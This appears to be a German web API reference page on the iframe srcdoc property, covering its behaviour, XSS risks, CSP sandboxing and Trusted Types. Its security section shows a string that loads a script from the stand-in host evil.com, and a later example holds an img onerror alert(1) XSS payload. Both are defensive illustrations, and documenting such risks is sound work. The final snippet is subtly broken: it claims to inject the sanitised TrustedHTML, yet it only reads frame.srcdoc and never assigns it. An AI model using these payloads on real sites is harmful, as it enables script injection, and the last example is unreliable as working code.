HTMLIFrameElement: srcdoc-Eigenschaft

Wert

Beim Lesen der Eigenschaft wird eine Zeichenfolge mit der HTML-Serialisierung des Frame-Dokuments zurückgegeben. Ist kein Wert festgelegt, lautet der Rückgabewert undefined.

Beim Setzen der Eigenschaft wird entweder ein TrustedHTML-Objekt oder eine Zeichenfolge akzeptiert. Die Eingabe wird als HTML-Dokument analysiert; das Ergebnis ersetzt den Inhalt des Frames.

Ausnahmen

TypeError

Wird ausgelöst, wenn der Eigenschaft eine Zeichenfolge zugewiesen wird, obwohl Trusted Types durch eine CSP erzwungen werden und keine Standardrichtlinie definiert ist.

Beschreibung

Die Eigenschaft srcdoc spiegelt den Inhalt des Attributs srcdoc des <iframe>-Elements wider. Mit ihr lässt sich das HTML-Dokument, das zum <iframe> gehört, festlegen oder abrufen.

Beim Setzen der Eigenschaft sollte die Eingabe ein gültiges HTML-Dokument einschließlich der Doctype-Direktive, <html>, <body> und weiterer Tags definieren. Browser tolerieren jedoch üblicherweise ungültiges Markup und versuchen in den meisten Fällen auch dann, die Eingabe darzustellen, wenn sie nur den Inhalt des Body enthält.

Jedes vom Browser unterstützte Markup wird analysiert und serialisiert, einschließlich Shadow Roots.

Beachten Sie, dass ein gesetzter Wert jeden Wert überschreibt, der in der Eigenschaft src festgelegt wurde.

Sicherheitsaspekte

Die Eigenschaft srcdoc erlaubt standardmäßig, beliebiges HTML-Markup in einem Frame auszuführen. Wenn der Frame nicht mit der sandbox-Direktive der Content Security Policy (CSP) isoliert wird – oder wenn die Isolierung den Wert allow-same-origin einschließt –, hat er denselben Ursprung wie das übergeordnete Dokument. Das bedeutet, dass der Frame uneingeschränkten Zugriff auf das übergeordnete DOM und dessen Ressourcen hat und umgekehrt.

Dies birgt ein erhebliches Risiko für Cross-Site-Scripting-Angriffe (XSS), wenn potenziell unsichere Zeichenfolgen von Benutzern ohne vorherige Bereinigung in einen Frame eingefügt werden. Betrachten Sie den folgenden Code, bei dem eine HTML-Zeichenfolge eines Benutzers an einen Frame übergeben werden könnte, der anschließend dem Dokument hinzugefügt wird.

const untrustedStringFromUser = `<!doctype html><script src="http://evil.com/naughty.js"></script>`;
const iframe = document.createElement("iframe");
iframe.srcdoc = untrustedStringFromUser;
document.body.appendChild(iframe);

Wenn der Frame keinen Zugriff auf das übergeordnete Dokument benötigt, können Sie das Risiko durch eine CSP-Sandbox ohne den Wert allow-same-origin verringern. Der Frame wird dann als Ressource eines anderen Ursprungs behandelt, wodurch Angriffe erheblich eingeschränkt werden. Sie können außerdem eine allgemeinere CSP verwenden, um einzuschränken, von welchen Orten Skripte und andere Ressourcen geladen werden dürfen.

Sie können das Risiko weiter verringern, indem Sie stets TrustedHTML-Objekte statt Zeichenfolgen zuweisen und Trusted Types mithilfe einer CSP erzwingen. Verwenden Sie dazu die CSP-Direktive require-trusted-types-for. Dadurch wird sichergestellt, dass die Eingabe eine Transformationsfunktion durchläuft, die potenziell gefährliches Markup vor dem Einfügen durch Bereinigung entfernen kann.

Beispiele

HTML aus einem iframe lesen

Beim Lesen von srcdoc serialisiert der Browser das Dokument des iframe.

Gegeben sei das folgende HTML:

<iframe
  id="example"
  srcdoc="<!doctype html><body><p>Hello World!</p></body>"></iframe>

Sie können das Markup wie gezeigt abrufen und protokollieren:

const frame = document.querySelector("#example");
const frameDoc = frame.srcdoc;
console.log(frameDoc); // "<!doctype html><body><p>Hello World!</p></body>"

Das Inline-Dokument des Frames ersetzen

In diesem Beispiel ersetzen wir das Dokument eines Frames, indem wir seiner Eigenschaft srcdoc HTML zuweisen. Um das XSS-Risiko zu verringern, erstellen wir zunächst aus der Zeichenfolge mit dem HTML ein TrustedHTML-Objekt und weisen dieses Objekt anschließend srcdoc zu.

Trusted Types werden noch nicht von allen Browsern unterstützt. Daher definieren wir zunächst den Trusted Types Tinyfill. Er dient als transparenter Ersatz für die JavaScript-API Trusted Types:

if (typeof trustedTypes === "undefined")
  trustedTypes = { createPolicy: (n, rules) => rules };

Als Nächstes erstellen wir eine TrustedTypePolicy, die eine createHTML()-Methode definiert, um eine Eingabezeichenfolge in TrustedHTML-Instanzen umzuwandeln. Implementierungen von createHTML() verwenden häufig eine Bibliothek wie DOMPurify, um die Eingabe zu bereinigen, wie im Folgenden gezeigt:

const policy = trustedTypes.createPolicy("my-policy", {
  createHTML: (input) => DOMPurify.sanitize(input),
});

Anschließend verwenden wir dieses policy-Objekt, um aus der potenziell unsicheren Eingabezeichenfolge ein TrustedHTML-Objekt zu erstellen, und weisen das Ergebnis dem Element zu:

// The potentially malicious string
const untrustedString =
  "<!doctype html><body><p>I might be XSS</p><img src='x' onerror='alert(1)'></body>";

// Create a TrustedHTML instance using the policy
const trustedHTML = policy.createHTML(untrustedString);

// Inject the TrustedHTML (which contains a trusted string)
const frame = document.querySelector("#example");
const frameDoc = frame.srcdoc;

Spezifikationen

Browser-Kompatibilität